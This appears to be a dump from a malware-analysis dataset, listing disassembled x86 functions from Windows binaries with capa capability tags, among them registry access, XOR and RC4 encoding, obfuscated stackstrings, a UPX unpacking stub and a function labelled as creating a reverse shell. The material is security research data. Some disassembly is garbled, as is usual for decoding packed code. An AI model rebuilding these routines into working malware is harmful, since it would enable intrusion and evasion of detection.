joyce8/EMBER2024-capa huggingface dataset:
Function at 0x498630
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x1c4
mov al, byte [0x4c88c0]
push ebx
push ebp
push esi
push edi
mov byte [esp + 0xd0], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd1]
xor ebx, ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x68]
push ebx
push ecx
stosb byte es:[edi], al
call fcn.00498e30
mov edx, dword [esp + 0x1e0]
add esp, 8
lea eax, [esp + 0xd0]
push edx
push 0x4bb788
push 0x104
push eax
call fcn.00497a00
lea edi, [esp + 0xe0]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x78]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0xe4]
push ecx
push edx
call fcn.00498e90
lea eax, [esp + 0x84]
push eax
call fcn.004998d0
lea ecx, [esp + 0x88]
push ecx
call fcn.004998d0
mov eax, dword [esp + 0xe8]
mov ecx, dword [esp + 0xec]
mov dword [esp + 0x40], eax
xor eax, eax
mov dword [esp + 0x35], eax
mov dword [esp + 0x44], ecx
mov word [esp + 0x39], ax
mov ecx, 0xf
lea edi, [esp + 0x4d]
mov byte [esp + 0x3b], al
mov byte [esp + 0x4c], bl
mov edx, dword [esp + 0xe4]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ebp, dword [sym.imp.MSVCRT.dll_strncat]
mov dword [esp + 0x3c], edx
mov edx, dword [esp + 0xf0]
mov ecx, 0x10
stosb byte es:[edi], al
xor eax, eax
lea edi, [esp + 0x4c]
add esp, 0x24
mov dword [esp + 0x24], edx
mov byte [esp + 0x10], bl
xor esi, esi
rep stosd dword es:[edi], eax
xor edx, edx
xor ecx, ecx
mov dl, byte [esp + esi + 0x18]
lea eax, [esp + 0x10]
push edx
push str._02x
mov dword [esp + 0x18], ecx
push 8
push eax
mov dword [esp + 0x24], ecx
call fcn.00497a00
lea edi, [esp + 0x38]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edx, 0x40
sub edx, ecx
lea edi, [esp + 0x10]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp edx, ecx
jge 0x49877d
mov ecx, edx
jmp 0x49878b
lea edi, [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x2c]
push ecx
push edx
call ebp
add esp, 0xc
inc esi
cmp esi, 0x10
jl 0x49872f
mov esi, dword [esp + 0x1dc]
cmp esi, ebx
je 0x4987e3
mov edx, dword [esp + 0x1e0]
xor eax, eax
mov ecx, edx
mov edi, esi
mov ebx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, ebx
and ecx, 3
dec edx
rep stosb byte es:[edi], al
lea eax, [esp + 0x28]
push eax
push 0x4bb788
push edx
push esi
call fcn.00497a00
push esi
call dword [sym.imp.MSVCRT.dll__strlwr]
add esp, 0x14
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c4
ret
Function at 0x498820
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x508
push ebx
push ebp
mov ebp, dword [esp + 0x514]
push esi
test ebp, ebp
push edi
je 0x4989d9
mov ebx, dword [esp + 0x520]
cmp ebx, 0x20
jb 0x4989d9
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x118]
lea edx, [esp + 0x14]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
lea ecx, [esp + 0x118]
push eax
push ecx
push edx
push 0x4c6d6c
push str.Software360SafeLiveup
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x2c], 1
mov dword [esp + 0x28], 0x400
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
test eax, eax
jne 0x4989d9
lea edi, [esp + 0x118]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 0x40
jne 0x4989d9
lea edx, [esp + 0x118]
lea ecx, [esp + 0x18]
mov esi, 0x80
lea eax, [esp + 0x18]
sub edx, ecx
lea ecx, [esi - 0x60]
test ecx, ecx
je 0x4988dc
mov cl, byte [edx + eax]
test cl, cl
je 0x4988dc
mov byte [eax], cl
inc eax
dec esi
jne 0x4988c6
jmp 0x4988e0
test esi, esi
jne 0x4988e1
dec eax
lea edx, [esp + 0x138]
lea ecx, [esp + 0x98]
mov byte [eax], 0
mov esi, 0x80
lea eax, [esp + 0x98]
sub edx, ecx
mov cl, byte [edx + eax]
test cl, cl
je 0x49890f
mov byte [eax], cl
inc eax
dec esi
jne 0x498900
jmp 0x498913
test esi, esi
jne 0x498914
dec eax
mov byte [eax], 0
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x118]
rep stosd dword es:[edi], eax
lea edx, [esp + 0x118]
push 0x400
lea eax, [esp + 0x1c]
push edx
push eax
call fcn.00498630
add esp, 0xc
lea ecx, [esp + 0x98]
lea edx, [esp + 0x118]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x4989d9
cmp ebx, 0x7fffffff
jbe 0x49897c
mov eax, 0x80070057
xor ecx, ecx
test eax, eax
pop edi
pop esi
sete cl
pop ebp
mov eax, ecx
pop ebx
add esp, 0x508
ret
xor edi, edi
mov edx, ebx
test ebx, ebx
mov eax, ebp
jne 0x4989a1
mov edi, 0x80070057
xor ecx, ecx
mov eax, edi
pop edi
test eax, eax
sete cl
pop esi
pop ebp
mov eax, ecx
pop ebx
add esp, 0x508
ret
lea esi, [esp + 0x18]
sub esi, ebp
mov cl, byte [esi + eax]
test cl, cl
je 0x4989b6
mov byte [eax], cl
inc eax
dec edx
jne 0x4989a7
jmp 0x4989ba
test edx, edx
jne 0x4989c0
dec eax
mov edi, 0x8007007a
mov byte [eax], 0
mov eax, edi
xor ecx, ecx
pop edi
test eax, eax
sete cl
pop esi
pop ebp
mov eax, ecx
pop ebx
add esp, 0x508
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x508
ret
Function at 0x4989f0
Capabilities:
Set registry value

Disassembly:
sub esp, 0x188
mov ecx, 0x20
xor eax, eax
push esi
mov esi, dword [esp + 0x190]
push edi
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
lea eax, [esp + 0xc]
push 0x80
push eax
push esi
call fcn.00498630
mov edx, esi
lea ecx, [esp + 0x98]
add esp, 0xc
mov edi, 0x104
lea eax, [esp + 0x8c]
sub edx, ecx
mov cl, byte [edx + eax]
test cl, cl
je 0x498a45
mov byte [eax], cl
inc eax
dec edi
jne 0x498a36
jmp 0x498a49
test edi, edi
jne 0x498a4a
dec eax
mov byte [eax], 0
mov ecx, 0x104
lea eax, [esp + 0x8c]
cmp byte [eax], 0
je 0x498a64
inc eax
dec ecx
jne 0x498a59
jmp 0x498aaa
test ecx, ecx
je 0x498aaa
lea edx, [esp + 8]
test edx, edx
je 0x498a79
mov eax, 0x104
sub eax, ecx
jmp 0x498a7d
mov eax, dword [esp + 8]
mov edx, 0x104
sub edx, eax
lea eax, [esp + eax + 0x8c]
je 0x498aaa
lea esi, [esp + 0xc]
sub esi, eax
mov cl, byte [esi + eax]
test cl, cl
je 0x498aa2
mov byte [eax], cl
inc eax
dec edx
jne 0x498a93
jmp 0x498aa6
test edx, edx
jne 0x498aa7
dec eax
mov byte [eax], 0
lea edi, [esp + 0x8c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x8c]
push ecx
push eax
push 1
push 0x4c6d6c
push str.Software360SafeLiveup
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
pop edi
pop esi
add esp, 0x188
ret
Function at 0x49e4b0
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], ecx
mov dword [eax + 0x14], ecx
mov dword [eax + 0x58], ecx
mov eax, 1
ret
Function at 0x40ce05
Capabilities:
Encrypt data using rc4 prga

Disassembly:
xor edx, edx
nop
nop
nop
nop
nop
nop
movzx esi, word [ecx + edx*4]
inc dword [esp + esi*4 + 0x30]
inc edx
cmp eax, edx
jne 0x40ce0d
cmp dword [esp], 2
jl 0x40cf32
or dword [esi], 4
jmp 0x40cea4
shl esi, cl
add eax, esi
dec edx
inc ecx
cmp edx, 1
cli
invalid
shl edx, cl
xor eax, eax
jmp 0x40d1c3
mov byte [edx], al
add byte [eax], al
jecxz 0x40d1c8
add al, ah
dec esi
mov bh, 0x84
js 0x40d1cb
invalid
invalid

Function at 0x40ce29
Capabilities:
Encrypt data using rc4 prga

Disassembly:
and byte [ebp + 0x64], bh
lea edx, [ebx - 0x1d]
cmp edx, 3
jb 0x40ce88
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add eax, dword [esp + ecx*4 + 0x34]
mov dword [esp + ebx*4 + 0x30], eax
invalid
inc esp
invalid

Function at 0x40e569
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add al, ah
dec esi
mov bh, 0xb6
add al, 0x24
test al, al
je fcn.0040e585
lea ecx, [esp + 1]
nop
nop
Function at 0x42ccf8
Capabilities:
Encode data using xor

Disassembly:
or dword [esi], 4
jmp 0x42cc42
je 0x42cbc4
add ebx, 0
cmp byte [ebx], dl
lodsd eax, dword [esi]
jmp 0x42cbc7
adc byte [edi + edi*8], cl
add dh, al
inc esp
and al, 0x14
add byte [eax + 0xd2], bh
mov ecx, 0x3d82272c
nop
nop
nop
nop
nop
nop
add al, ah
dec esi
mov bh, 0xb6
mov esp, 0xffff3204
dec dword [ebp + 0x3eec01a8]
loope 0x42cbf7
retf 0xea31
jne 0x42cc5f
lea eax, [esp + 4]
mov ecx, dword [esp + 0x34]
push ebx
push esi
push eax
call 0x8205f70f
cmp bl, dh
dec dword [ecx - 0x5017a93d]
push ds
invalid
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xe
add al, 0xeb
js 0x42cc86
in al, dx
pop eax
add al, 0
add bh, al
inc esp
and al, 0x40
add byte [eax], al
add byte [eax], al
mov dword [esp + 0x3c], 0
add byte [eax], al
mov dword [esp + 0x38], 0
mov dword [esp + 0x34], 0
mov dword [esp + 0x54], 0x23962193
mov dword [esp + 0x58], 0x27872581
mov dword [esp + 0x5c], 0x3bc43985
mov dword [esp + 0x60], 0x3fb63d99
mov dword [esp + 0x64], 0x33323195
mov eax, 0xe7e89e48
nop
nop
nop
nop
add al, ah
dec esi
mov bh, 0xb6
mov word [esp + ecx], es
bound edx, qword [edi]
sbb byte [ecx], dh
rol dword [ecx + 0x74e897c1], 0x78
mov edx, ecx
and edx, 1
xor ecx, 1
lea ecx, [ecx + edx*2]
mov byte [esp + eax + 0x1817620c], cl
inc eax
cmp eax, 0xe7e89e5c
jne 0x42cd5e
lea eax, [esp + 0x54]
lea ecx, [esp + 0x34]
push eax
call fcn.0043ff7e
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x44c7e4]

Function at 0x43ff7e
Capabilities:
Encode data using xor
Encrypt data using chaskey
Hash data using murmur3

Disassembly:
or cl, byte [ecx + 0x31c631de]
dec byte [ebx + 0x8c2494]
add byte [eax], al
mov edx, dword [edx + 0xc]
mov dword [esp + 0x4c], edx
add edx, ebp
add esi, edx
rol esi, 0xc
add esi, ecx
rol ebx, 0xa
mov edx, edi
xor edx, ebx
xor edx, esi
mov ecx, dword [esp + 0x8c]
mov ecx, dword [ecx + 0x10]
mov dword [esp + 0x2c], ecx
mov ebp, dword [esp]
add ebp, ecx
add edx, ebp
rol edx, 5
add edx, eax
rol edi, 0xa
mov ebp, esi
xor ebp, edi
xor ebp, edx
mov ecx, dword [esp + 0x8c]
mov ecx, dword [ecx + 0x14]
mov dword [esp + 0x3c], ecx
add eax, ecx
add eax, ebp
rol eax, 8
add eax, ebx
rol esi, 0xa
mov ebp, edx
xor ebp, esi
xor ebp, eax
mov ecx, dword [esp + 0x8c]
mov ecx, dword [ecx + 0x18]
mov dword [esp + 0x44], ecx
add ebx, ecx
add ebx, ebp
rol ebx, 7
add ebx, edi
rol edx, 0xa
mov ebp, eax
xor ebp, edx
xor ebp, ebx
mov ecx, dword [esp + 0x8c]
mov ecx, dword [ecx + 0x1c]
mov dword [esp + 0x40], ecx
add edi, ecx
add edi, ebp
rol edi, 9
add edi, esi
rol eax, 0xa
mov ebp, ebx
xor ebp, eax
xor ebp, edi
mov ecx, dword [esp + 0x8c]
mov ecx, dword [ecx + 0x20]
mov dword [esp + 0x38], ecx
add esi, ecx
add esi, ebp
rol esi, 0xb
add esi, edx
rol ebx, 0xa
mov ebp, edi
xor ebp, ebx
xor ebp, esi
mov ecx, dword [esp + 0x8c]
mov ecx, dword [ecx + 0x24]
mov dword [esp + 0x28], ecx
add edx, ecx
add edx, ebp
rol edx, 0xd
add edx, eax
rol edi, 0xa
mov ebp, esi
Function at 0x440698
Capabilities:
Encode data using xor
Encrypt data using chaskey
Hash data using murmur3

Disassembly:
fdiv st(7)
ror byte [ecx], 1
lock xor dword [esi], ecx
push cs
add al, 0xeb
js 0x440697
insb byte es:[edi], dx
and al, 0x20
add eax, ebp
add eax, 0x50a28be6
mov dword [esp + 0x14], eax
mov eax, dword [esp + 8]
rol eax, 5
mov ecx, dword [esp + 0xc]
rol ecx, 0xa
mov dword [esp + 0xc], ecx
mov edx, dword [esp + 0x18]
and al, 0x18
add eax, edx
mov dword [esp + 8], eax
mov ebp, dword [esp + 4]
xor eax, ebp
and eax, ecx
xor eax, ebp
add edx, dword [esp + 0x34]
mov ecx, dword [esp + 0x14]
and al, 0x14
rol ecx, 0xb
lea ebp, [eax + edx]
add ebp, 0x801bbcdc
loopne 0x44072c
mov bh, 0x8b
sal dword [ecx], 0xd1

Function at 0x444be0
Capabilities:
Encode data using xor

Disassembly:
push cs
add al, 0xeb
js 0x444c10
out 0x29, eax
mov dword [esp + 0x18], 0x2d9f2f9a
mov dword [esp + 0x1c], 0x31803395
mov dword [esp + 0x20], 0x359a37f4
mov dword [esp + 0x24], 0x398f3b98
mov dword [esp + 0x28], 0x3d3e3fe4
mov ecx, 0x47
mov edx, 0xb8
inc edi
add byte [eax], al
add byte [edx + 0xb8], bh
nop
nop
movzx esi, byte [esp + ecx - 0x33]
mov ebx, ecx
xor ebx, edx
and ebx, esi
xor ebx, edx
mov al, 0x9c
sub al, bl
mov byte [esp + ecx - 0x33], al
inc ecx
dec edx
cmp ecx, 0x5f
jne 0x444c1b
movzx ecx, word [esp + 0x14]
lea edi, [esp + 0x3c]
test cx, cx

Function at 0x445287
Capabilities:
Encode data using xor

Disassembly:
nop
nop
nop
nop
nop
nop
add al, ah
dec esi
mov bh, 0xb6
xchg esp, eax
or al, 0x10
mov dword [ebx - 0x68], 0x348dca31
push ebp
sahf
invalid
jmp 0x4451ba
Function at 0x404100
Capabilities:
Get common file path
Get disk information
Get hostname
Manipulate console buffer
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x18c8
call fcn.00411920
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
mov eax, dword [0x45e688]
push ebx
push esi
mov dword [ebp - 8], ecx
mov ecx, dword [0x45e68c]
mov dword [ebp - 0x18], eax
push edi
lea eax, [ebp - 0xc]
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x1c], ecx
call fcn.004040f0
mov ebx, dword [ebp - 0xc]
mov edx, dword [0x45e690]
mov eax, dword [0x45e694]
mov edi, dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
add ebx, 0x23f
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x14], 0x20
jmp 0x404170
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov esi, dword [ebp - 8]
mov eax, dword [0x465e24]
shl esi, 4
add esi, dword [ebp - 0x20]
cmp eax, 0xfa9
jne 0x40419c
mov dword [0x465e20], 0xedeb2e40
jmp 0x4041b7
cmp eax, 0x3eb
jne 0x4041b7
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov dword [0x4658b0], 0
mov ecx, dword [ebp - 8]
add ecx, ebx
mov eax, dword [ebp - 8]
shr eax, 5
mov dword [ebp - 4], eax
mov edx, dword [ebp - 0x24]
add dword [ebp - 4], edx
xor esi, ecx
cmp dword [0x465e24], 0x9e6
mov dword [0x465e1c], 0xf4ea3dee
jne 0x4041ef
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
xor dword [ebp - 4], esi
cmp dword [0x465e24], 0x213
jne 0x40428b
push 0
lea eax, [ebp - 0xcc8]
push eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatW]
lea ecx, [ebp - 0x4c8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
lea edx, [ebp - 0x34]
push edx
lea eax, [ebp - 0x10c8]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0
call dword [sym.imp.KERNEL32.dll_ClearCommBreak]
push 0
push 0
push 0
call edi
push 0
push 0
lea ecx, [ebp - 0x18c8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push 0
push 0
push 0
call edi
lea edx, [ebp - 0x2c]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
lea eax, [ebp - 0xc8]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea ecx, [ebp - 0x30]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov esi, dword [ebp - 0x10]
sub esi, dword [ebp - 4]
cmp dword [0x465e24], 0xc
mov dword [ebp - 0x10], esi
jne 0x4042a5
push 0
call dword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov edx, esi
shr edx, 5
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
mov eax, esi
shl eax, 4
add eax, dword [ebp - 0x18]
lea ecx, [ebx + esi]
xor eax, ecx
xor eax, dword [ebp - 4]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
sub dword [ebp - 8], eax
add ebx, 0x61c88647
sub dword [ebp - 0x14], 1
jne 0x404170
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
pop edi
pop esi
mov dword [eax], edx
mov dword [eax + 4], ecx
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x404300
Capabilities:
Connect pipe
Create process on windows
Create reverse shell
Read pipe
Set environment variable
Set thread local storage value
Write pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1008
call fcn.00411920
mov eax, dword [0x465e24]
mov ecx, dword [0x4658b4]
shr eax, 3
test eax, eax
jbe 0x40441e
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
mov dword [ebp - 4], ecx
mov dword [ebp - 8], eax
mov edi, edi
cmp dword [0x465e24], 0x959
jne 0x404404
push 0
lea eax, [ebp - 0x408]
push eax
push 0
push 0
push 0
push 0
call edi
push 0
push 0
push 0
call ebx
push 0
lea ecx, [ebp - 0xc08]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileShortNameW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0
push 0
push 0
push 0
push 0
push 0
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
lea edx, [ebp - 0x808]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 0
push 0
push 0
push 0
push 0
push 0
call esi
push 0
lea eax, [ebp - 0x1008]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [ebp - 4]
push ecx
call fcn.00404100
add dword [ebp - 4], 8
sub dword [ebp - 8], 1
jne 0x404340
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40a8cf
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x45d470]
jne 0x40a8d9
repz ret
jmp fcn.00410773

Function at 0x40be1c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004076e2
and dword [ebp - 4], 0
cmp dword [0x46389c], 0
mov ebx, eax
jne 0x40becd
push 0x4034d4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40bf7e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4034c8
push edi
call esi
test eax, eax
je 0x40bf7e
push eax
call fcn.00407670
mov dword [esp], 0x4034b8
push edi
mov dword [0x46389c], eax
call esi
push eax
call fcn.00407670
mov dword [esp], 0x4034a4
push edi
mov dword [0x4638a0], eax
call esi
push eax
call fcn.00407670
mov dword [esp], 0x403488
push edi
mov dword [0x4638a4], eax
call esi
push eax
call fcn.00407670
pop ecx
mov dword [0x4638ac], eax
test eax, eax
je 0x40becd
push 0x403470
push edi
call esi
push eax
call fcn.00407670
pop ecx
mov dword [0x4638a8], eax
mov eax, dword [0x4638a8]
cmp eax, ebx
je 0x40bf25
cmp dword [0x4638ac], ebx
je 0x40bf25
push eax
call fcn.004076eb
push dword [0x4638ac]
mov esi, eax
call fcn.004076eb
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40bf25
test edi, edi
je 0x40bf25
call esi
test eax, eax
je 0x40bf1c
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40bf1c
test byte [ebp - 0xc], 1
jne 0x40bf25
or dword [ebp + 0x10], 0x200000
jmp 0x40bf5e
mov eax, dword [0x4638a0]
cmp eax, ebx
je 0x40bf5e
push eax
call fcn.004076eb
pop ecx
test eax, eax
je 0x40bf5e
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40bf5e
mov eax, dword [0x4638a4]
cmp eax, ebx
je 0x40bf5e
push eax
call fcn.004076eb
pop ecx
test eax, eax
je 0x40bf5e
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x46389c]
call fcn.004076eb
pop ecx
test eax, eax
je 0x40bf7e
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40bf80
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x450cc0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x34000]
push edi
or ebp, 0xffffffff
jmp 0x450ce2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x450ce9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x450cd8
mov eax, 1
add ebx, ebx
jne 0x450cfb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x450d0c
jne 0x450d2b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x450d2b
dec eax
add ebx, ebx
jne 0x450d18
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x450cf0
add ebx, ebx
jne 0x450d27
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x450d7d
xor ecx, ecx
sub eax, 3
jb 0x450d43
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x450db2
sar eax, 1
mov ebp, eax
jmp 0x450d4e
add ebx, ebx
jne 0x450d4e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x450d1c
inc ecx
add ebx, ebx
jne 0x450d5c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x450d1c
add ebx, ebx
jne 0x450d69
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x450d5e
jne 0x450d7a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x450d5e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x450d9c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x450d8e
jmp 0x450cde
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x450d9c
add edi, ecx
jmp 0x450cde
pop esi
mov edi, esi
mov ecx, 0xfd6
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x450dba
cmp byte [edi], 0x11
jne 0x450dba
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x450dbf
lea edi, [esi + 0x4d000]
mov eax, dword [edi]
or eax, eax
je 0x450e2e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x5fb4c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x5fb74]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x450dec
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x5fb7c]
or eax, eax
je 0x450e28
mov dword [ebx], eax
add ebx, 4
jmp 0x450e09
call dword [esi + 0x5fb78]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x450e5f
cmp al, 0xef
ja 0x450e52
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x450e34
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x450e41
mov ebp, dword [esi + 0x5fb80]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x450e93
sub esp, 0xffffff80
jmp 0x4198d0
Function at 0x402890
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43f17d
mov eax, dword fs:[0]
push eax
push ecx
mov eax, dword [0x5a800c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [0x5a8ec8], 0x2c
jl 0x4028e8
push 0x5a8ecc
call fcn.004377b0
mov ecx, dword [0x5a8ec4]
add esp, 4
test ecx, ecx
je 0x4028da
mov eax, dword [ecx]
mov dword [0x5a8ec4], eax
mov dword [0x5a8ecc], 1
test ecx, ecx
jne 0x402907
push 0x2c
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, eax
test ecx, ecx
jne 0x402907
push 0xffffffffffffffff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], 0
call fcn.00402e10
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret

Function at 0x4029c0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43f1e5
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x5a800c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
cmp dword [0x5a8ec8], 0x2c
jl 0x402a1d
push 0x5a8ecc
call fcn.004377b0
mov edi, dword [0x5a8ec4]
add esp, 4
test edi, edi
je 0x402a0f
mov eax, dword [edi]
mov dword [0x5a8ec4], eax
mov dword [0x5a8ecc], 1
test edi, edi
jne 0x402a3c
push 0x2c
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
jne 0x402a3c
push 0xffffffffffffffff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov dword [ebp - 0x10], edi
mov dword [ebp - 4], 0
mov ecx, edi
call fcn.00402e10
mov byte [ebp - 4], 1
lea ecx, [edi + 0x10]
mov dword [edi], vtable.CWString.0
mov eax, dword [ebx + 4]
mov dword [edi + 4], eax
mov eax, dword [ebx + 8]
mov dword [edi + 8], eax
